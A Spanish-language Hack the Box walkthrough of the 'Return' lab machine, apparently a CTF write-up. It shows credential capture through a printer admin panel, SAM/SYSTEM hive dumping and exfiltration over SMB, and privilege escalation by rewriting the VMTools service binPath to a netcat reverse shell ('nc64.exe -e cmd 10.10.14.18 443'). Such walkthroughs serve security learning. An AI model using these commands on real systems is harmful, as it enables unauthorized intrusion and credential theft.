Máquina Return Hack the Box

15 minute read

Lo primero que realizamos es una enumeración de todos los servicios para ver a que nos estamos enfrentando

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #nmap -sS -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49679,49682,49694,52463 -oN nmap 10.10.11.108
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-19 20:26 -05
Nmap scan report for 10.10.11.108
Host is up (0.12s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-05-20 01:45:19Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
52463/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 18m36s
| smb2-time: 
|   date: 2022-05-20T01:46:19
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.55 seconds

Lo primero que vamos a revisar es el puerto 80 ya que cuenta con un servicio http

1.png

Explorando la página vemos que en Settings tiene un servicio con un server address, un puerto, un usuario y una contraseña

2.png

Pero al tratar de ver la contraseña en el código fuente, nos dice que está en texto plano

3.png

Investigando un poco dimos con un articulo de securicon, donde nos dice una forma de obtener credenciales de usuario, cuando se tiene acceso a Interfaz web

5.png

Nos dice que podemos tener el netcat a la escucha para optener las credenciales

6.png

Así que ponemos nuestro netcat a la escucha en el puerto 389, como nos muestra la interfaz gráfica

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #nc -nlvp 389
listening on [any] 389 ...

Modificamos el Server Address por nuestra ip y le damos en Update

7.png

Una vez le damos Update nos llega una credencial

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #nc -nlvp 389
listening on [any] 389 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.108] 58509
0*`%return\svc-printer
                       1edFg43012!!^C

con la herramienta crackmapexec vemos que es una credencial valida para el usuario

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #crackmapexec winrm 10.10.11.108 -u svc-printer -p '1edFg43012!!'
WINRM       10.10.11.108    5985   PRINTER          [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
WINRM       10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

Así que vamos a iniciar sesión con la herramienta evil-winrm y de esta manera tenemos la primera flag de usuario

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-printer\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> dir

    Directory: C:\Users\svc-printer\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/19/2022   7:56 AM             34 user.txt

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
08976a********************4cf015
*Evil-WinRM* PS C:\Users\svc-printer\Desktop>

Vemo que podemos ingresar al directorio del Administrador, pero no podemos leer la flag

*Evil-WinRM* PS C:\Users\Administrator> dir

    Directory: C:\Users\Administrator

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        5/20/2021  12:10 PM                3D Objects
d-r---        5/20/2021  12:10 PM                Contacts
d-r---        9/27/2021   4:22 AM                Desktop
d-r---        5/27/2021  12:50 AM                Documents
d-r---        5/26/2021   3:00 AM                Downloads
d-r---        5/20/2021  12:10 PM                Favorites
d-r---        5/20/2021  12:10 PM                Links
d-r---        5/20/2021  12:10 PM                Music
d-r---        5/20/2021  12:10 PM                Pictures
d-r---        5/20/2021  12:10 PM                Saved Games
d-r---        5/20/2021  12:10 PM                Searches
d-r---        5/20/2021  12:10 PM                Videos

*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/19/2022   7:56 AM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
Access to the path 'C:\Users\Administrator\Desktop\root.txt' is denied.
At line:1 char:1
+ type root.txt
+ ~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator\Desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
*Evil-WinRM* PS C:\Users\Administrator\Desktop>

Nos vamos a un directorio como Documents para subir el winPeas y ejecutarlo para ver que información nos muestra

*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /mnt/angussMoody/Scripts/Windows/winPEASx64.exe .
Info: Uploading /mnt/angussMoody/Scripts/Windows/winPEASx64.exe to .

                                                             
Data: 2581844 bytes of 2581844 bytes copied

Info: Upload successful!

Ejecutamos la herramienta

*Evil-WinRM* PS C:\Users\svc-printer\Documents> .\winPEASx64.exe
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD

               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########.((((((((((((
    (((((((((((/********************/#######.((((((((((
    (((((((.******************/@@@@@/****######.(((((((((
    (((((.********************@@@@@@@@@@/***,####.(((((((((
    ((((.********************/@@@@@%@@@@/********##(((((((((
    .((############*********/%@@@@@@@@@/************.(((((((
    .(##################(/******/@@@@@/***************.(((((
    .(#########################(/**********************.((((
    .(##############################(/*****************.((((
    .(###################################(/************.((((
    .(#######################################(*********.((((
    .(#######(,.***.,(###################(..***.*******.((((
    .(#######*(#####((##################((######/(*****.((((
    .(###################(/***********(##############().((((
    .((#####################/*******(################)((((((
    .(((############################################).(((((
    ..(((##########################################).((((((
    ....((########################################).((((((
    ......((####################################).(((((((
    (((((((((#################################).((((((((
        (((((((((/##########################).((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

  WinPEASng by @carlospolopm, makikvues(makikvues2[at]gmail[dot]com)

       /---------------------------------------------------------------------------\
       |                             Do you like PEASS?                            |
       |---------------------------------------------------------------------------|
       |         Get latest WinPEAS  :     https://github.com/sponsors/carlospolop |
       |         Follow on Twitter   :     @carlospolopm                           |
       |         Respect on HTB      :     SirBroccoli & makikvues                 |
       |---------------------------------------------------------------------------|
       |                                 Thank you!                                |
       \---------------------------------------------------------------------------/
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /all

USER INFORMATION
----------------

User Name          SID
================== =============================================
return\svc-printer S-1-5-21-3750359090-2939318659-876128439-1103

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeLoadDriverPrivilege         Load and unload device drivers      Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled

USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\svc-printer\Documents> cd c:\
*Evil-WinRM* PS C:\> dir

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/20/2021   7:19 AM                inetpub
d-----        9/15/2018  12:19 AM                PerfLogs
d-r---        9/27/2021   4:46 AM                Program Files
d-----        5/26/2021   2:57 AM                Program Files (x86)
d-r---        5/26/2021   1:51 AM                Users
d-----        9/27/2021   4:49 AM                Windows

*Evil-WinRM* PS C:\> mkdir Temp

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/19/2022   9:18 PM                Temp

c*Evil-WinRM* PS C:\> cd Temp
*Evil-WinRM* PS C:\Temp> dir
*Evil-WinRM* PS C:\Temp> reg save hklm\sam c:\Temp\sam
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> reg save hklm\system c:\Temp\system
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> dir

    Directory: C:\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/19/2022   9:19 PM          49152 sam
-a----        5/19/2022   9:19 PM       15925248 system

*Evil-WinRM* PS C:\Temp> download sam
Info: Downloading sam to ./sam

                                                             
Info: Download successful!

*Evil-WinRM* PS C:\Temp> download system
Info: Downloading system to ./system

                                                             
Info: Download successful!

Dentro de toda la información que nos devuelve vemos que tenemos varios permisos con este usuario, entre ellos

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /all

USER INFORMATION
----------------

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeLoadDriverPrivilege         Load and unload device drivers      Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled

Navegando un poco nos encontramos con este articulo de hackingarticles donde nos dice que con este privilegio podemos copiar archivos y que podemos copir el archivo sam y system para luego dumpearlo en nuestra máquina atacante

8.png

Realizamos los pasos que nos dice el articulo y vemos que ya tenemos estos archivos en nuestro directorio

*Evil-WinRM* PS C:\Temp> reg save hklm\sam c:\Temp\sam
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> reg save hklm\system c:\Temp\system
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> dir

    Directory: C:\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/19/2022   9:54 PM          49152 sam
-a----        5/19/2022   9:54 PM       16023552 system

*Evil-WinRM* PS C:\Temp>

Ahora vamos a pasar a descarlos, intenté con download directo, pero no me los descarga, así que vamos a realizarlo con smbsever de impacket

Directory: C:\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/19/2022   9:54 PM          49152 sam
-a----        5/19/2022   9:54 PM       16023552 system

*Evil-WinRM* PS C:\Temp> clear
*Evil-WinRM* PS C:\Temp> copy sam \\10.10.14.4\Folder\sam
*Evil-WinRM* PS C:\Temp> copy system \\10.10.14.4\Folder\system
*Evil-WinRM* PS C:\Temp>

-----------------------------------------------------------------------------------------------------------------------------------------------

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #impacket-smbserver Folder . -smb2support
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.108,49423)
[*] AUTHENTICATE_MESSAGE (\,PRINTER)
[*] User PRINTER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:Folder)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:Folder)
[*] Closing down connection (10.10.11.108,49423)
[*] Remaining connections []

Ya tenemos estos archivos en nuestra máquina

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #ll sam system 
Permissions Size User        Date Modified Name
.rwxrwxrwx   49k angussmoody 19 may 23:54  sam
.rwxrwxrwx   16M angussmoody 19 may 23:54  system

ahora vamos a dumpearlo con la herramienta samdump2

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #samdump2 -h
samdump2 3.0.0 by Objectif Securite (http://www.objectif-securite.ch)
original author: ncuomo@studenti.unina.it

Usage: samdump2 [OPTION]... SYSTEM_FILE SAM_FILE
Retrieves syskey and extract hashes from Windows 2k/NT/XP/Vista SAM

  -d		enable debugging
  -h		display this information
  -o file	write output to file

y esta nos entrega los hash de los usuarios

┌─[][root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #samdump2 -d system sam 
Root Key : ROOT
Default ControlSet: 001
********* ROOT\ControlSet001\Control\Lsa\JD *********
n->classname_len = 16 b = ed616c
********* ROOT\ControlSet001\Control\Lsa\Skew1 *********
n->classname_len = 16 b = ed66cc
********* ROOT\ControlSet001\Control\Lsa\GBG *********
n->classname_len = 16 b = ed5fdc
********* ROOT\ControlSet001\Control\Lsa\Data *********
n->classname_len = 16 b = ed5e34
Bootkey unsorted: cdf62c6714d022899a69dba4c34e35c8
Root Key : ROOT
******************** 1 ********************
keyname = ROOT\SAM\Domains\Account\Users\000001F4
disabled = 0

username len=13, off=1c0
lm_hashoffset = 250, lm_size = 18
nt_hashoffset = 268, nt_size = 38
******************** 2 ********************
keyname = ROOT\SAM\Domains\Account\Users\000001F5
disabled = 1

username len=5, off=1b4
lm_hashoffset = 238, lm_size = 18
nt_hashoffset = 250, nt_size = 18
******************** 3 ********************
keyname = ROOT\SAM\Domains\Account\Users\000001F7
disabled = 1

username len=14, off=d8
lm_hashoffset = 248, lm_size = 18
nt_hashoffset = 260, nt_size = 18
******************** 4 ********************
keyname = ROOT\SAM\Domains\Account\Users\000001F8
disabled = 1

username len=18, off=d0
lm_hashoffset = 1fc, lm_size = 0
nt_hashoffset = 1fc, nt_size = 0
******************** -1 ********************
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Pero al tratar de conectarnos con evil-winrm nos da un error

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #evil-winrm -i 10.10.11.108 -u Administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

con wmiexec nos da error también

┌─[][root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #wmiexec.py return.local/Administrator@10.10.11.108 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)

Al igual con psexec

┌─[][root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -target-ip 10.10.11.108 administrator@10.10.11.108
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)

seguimos realizando una enumeración y con el comando whoami /all vimos a los grupos que pertenecemos, también podemos verlo con el comando whoami /groups y vemos que pertenecemos al grupo Print Operators y Server Operators

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

Revisando estos grupos en este artículo **Server Operators nos dice que podemos: iniciar sesión en un servidor de forma interactiva, crear y eliminar recursos compartidos de red, iniciar y detener servicios, realizar copias de seguridad y restaurar archivos, formatear la unidad de disco duro de la computadora y apagar la computadora.

con la herramienta sc.exe podemos crear un servicio o modificar uno que esté corriendo en el sistema, vamos a intentar crearnos un servicio que nos cargue el nc.exe para tener una reverse shell en nuestra máquina, pasamos al directorio Temp donde tenemos todos los permisos y subirmos el nc.exe poner el path de nuestro servicio

*Evil-WinRM* PS C:\Users\svc-printer\Documents> cd c:\Windows\Temp
*Evil-WinRM* PS C:\Windows\Temp> upload /mnt/angussMoody/Scripts/Windows/nc64.exe
Info: Uploading /mnt/angussMoody/Scripts/Windows/nc64.exe to C:\Windows\Temp\nc64.exe

                                                             
Data: 60360 bytes of 60360 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Windows\Temp>

al listar lo que tenemos en el directorio vemos muchas cosas de vmware y nuestro nc64.exe

*Evil-WinRM* PS C:\Windows\Temp> dir

    Directory: C:\Windows\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         8/8/2022   4:25 PM                DiagTrack_alternativeTrace
d-----         8/8/2022   4:25 PM                DiagTrack_aot
d-----         8/8/2022   4:25 PM                DiagTrack_diag
d-----         8/8/2022   4:25 PM                DiagTrack_miniTrace
d-----        9/27/2021   6:04 AM                vmware-SYSTEM
-a----         8/8/2022   6:27 PM          45272 nc64.exe
-a----         8/8/2022   4:26 PM            102 silconfig.log
-a----        9/27/2021   5:59 AM            206 temBC3F.tmp
-a----        9/27/2021   6:14 AM          13692 vmware-vmsvc-SYSTEM.log
-a----        9/27/2021   4:46 AM          52365 vmware-vmsvc.log
-a----        9/27/2021   6:05 AM            297 vmware-vmtoolsd-Administrator.log
-a----         8/8/2022   4:25 PM            396 vmware-vmtoolsd-SYSTEM.log
-a----        9/27/2021   6:14 AM           3984 vmware-vmusr-Administrator.log
-a----        9/27/2021   4:46 AM          12982 vmware-vmusr.log
-a----         8/8/2022   4:25 PM            288 vmware-vmvss-SYSTEM.log
-a----        9/27/2021   4:43 AM           2016 vmware-vmvss.log

*Evil-WinRM* PS C:\Windows\Temp>

Una vez subido nuestro binario vamos a crearnos un servicio y le ponemos el path de nuestro binario, pero aunque estamos en el grupo no tenemos los permisos para crearnos un servicio.

*Evil-WinRM* PS C:\Windows\Temp> sc.exe create shell_reverse binPath="C:\Windows\Temp\nc64.exe -e cmd 10.10.14.18 443"
[SC] OpenSCManager FAILED 5:

Access is denied.

Como no podemos crear un servicio, vamos a tratar de modificar uno que ya esté corriendo en el sistema como nos dice el artículo sc.exe

Untitled

Lo primero que debemos hacer es ver que servicios están corriendo en nuestro sistema y vemos que tenemos varios servicios corriendo, ahora vamos tratar de modificar alguno de estos con nuestra carga maliciosa

*Evil-WinRM* PS C:\Windows\Temp> services 

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796    
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense            
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend        
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc    

*Evil-WinRM* PS C:\Windows\Temp>

Despues de intentar con varios servicios vemos que podemos realizar la modificación con el servicio VWTools

*Evil-WinRM* PS C:\Windows\Temp> sc.exe config WMPNetworkSvc binPath="C:\Windows\Temp\nc64.exe -e cmd 10.10.14.18 443"
[SC] OpenService FAILED 5:

Access is denied.

*Evil-WinRM* PS C:\Windows\Temp> sc.exe config WinDefend binPath="C:\Windows\Temp\nc64.exe -e cmd 10.10.14.18 443"
[SC] OpenService FAILED 5:

Access is denied.

*Evil-WinRM* PS C:\Windows\Temp> sc.exe config WdNisSvc binPath="C:\Windows\Temp\nc64.exe -e cmd 10.10.14.18 443"
[SC] OpenService FAILED 5:

Access is denied.

*Evil-WinRM* PS C:\Windows\Temp> sc.exe config VMTools binPath="C:\Windows\Temp\nc64.exe -e cmd 10.10.14.18 443"
[SC] ChangeServiceConfig SUCCESS

Ahora lo que debemos realizar es un reinicio del servicio, para eso debemos hacerlo con el comando strop y luego iniciarlo con el comando start, pero primero con el comando qc podemos ver si se realizó la modificación de este y vemos que en BINARY_PATH_NAME, tenemos nuestra carga maliciosa

*Evil-WinRM* PS C:\Windows\Temp> sc.exe qc VMTools
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\Temp\nc64.exe -e cmd 10.10.14.18 443
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : VMware Tools
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
*Evil-WinRM* PS C:\Windows\Temp>

Ahora vamos a detener el servicio

*Evil-WinRM* PS C:\Windows\Temp> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

y antes de iniciarlo de nuevo vamos a poner nuestra máquina a la escucha en el puerto que configuramos

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #nc -nlvp 443
Listening on 0.0.0.0 443

Una vez tenemos nuestra máquina a la escucha podemos inciar el servicio en nuestra máquina atacante, este se queda cargando

*Evil-WinRM* PS C:\Windows\Temp> sc.exe start VMTools

y en nuestra máquina atacante ya tenemos nuestra reverse shell como administrador

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.108 51060
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

Ya con esta revershe shell podemos ir a la ruta del administrador y leer nuestra segunda flag

┌─[root@angussmoody][/mnt/angussMoody/Machines/Return]
└──╼ #nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.108 51073
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd c:\Users\Administrator\Desktop
cd c:\Users\Administrator\Desktop

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 3A0C-428E

 Directory of c:\Users\Administrator\Desktop

09/27/2021  04:22 AM    <DIR>          .
09/27/2021  04:22 AM    <DIR>          ..
08/08/2022  04:25 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   8,600,281,088 bytes free

c:\Users\Administrator\Desktop>type root.txt
type root.txt
6bb6a0*******************ea4923

c:\Users\Administrator\Desktop>

a